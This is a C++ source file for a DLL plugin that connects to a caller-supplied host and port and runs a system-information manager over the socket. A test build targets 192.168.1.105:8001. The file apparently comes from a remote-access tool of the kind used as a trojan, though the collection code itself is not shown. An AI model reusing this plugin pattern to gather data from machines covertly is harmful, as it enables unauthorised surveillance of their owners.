2024-06-23 17:36:53 +08:00

49 lines
930 B
C++

// SYSINFO.cpp : Defines the entry point for the DLL application.
//
#include "ClientSocket.h"
#include "GetSystemInfo.h"
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"advapi32.lib")
#if _DLL
#pragma comment(linker, "/ENTRY:_DllMain")
#pragma comment(linker,"/opt:nowin98")
#endif
HMODULE hDllModule;
BOOL APIENTRY _DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
}
extern "C" __declspec(dllexport) BOOL PluginMe(LPCTSTR lpszHost, UINT nPort, LPBYTE lparam)
{
CClientSocket socketClient;
if (!socketClient.Connect(lpszHost, nPort))
return -1;
hDllModule = (HMODULE)lparam;
CGetSystemInfo manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
#if _CONSOLE
#include <stdio.h>
int main()
{
PluginMe("192.168.1.105",8001,NULL);
return 0;
}
#endif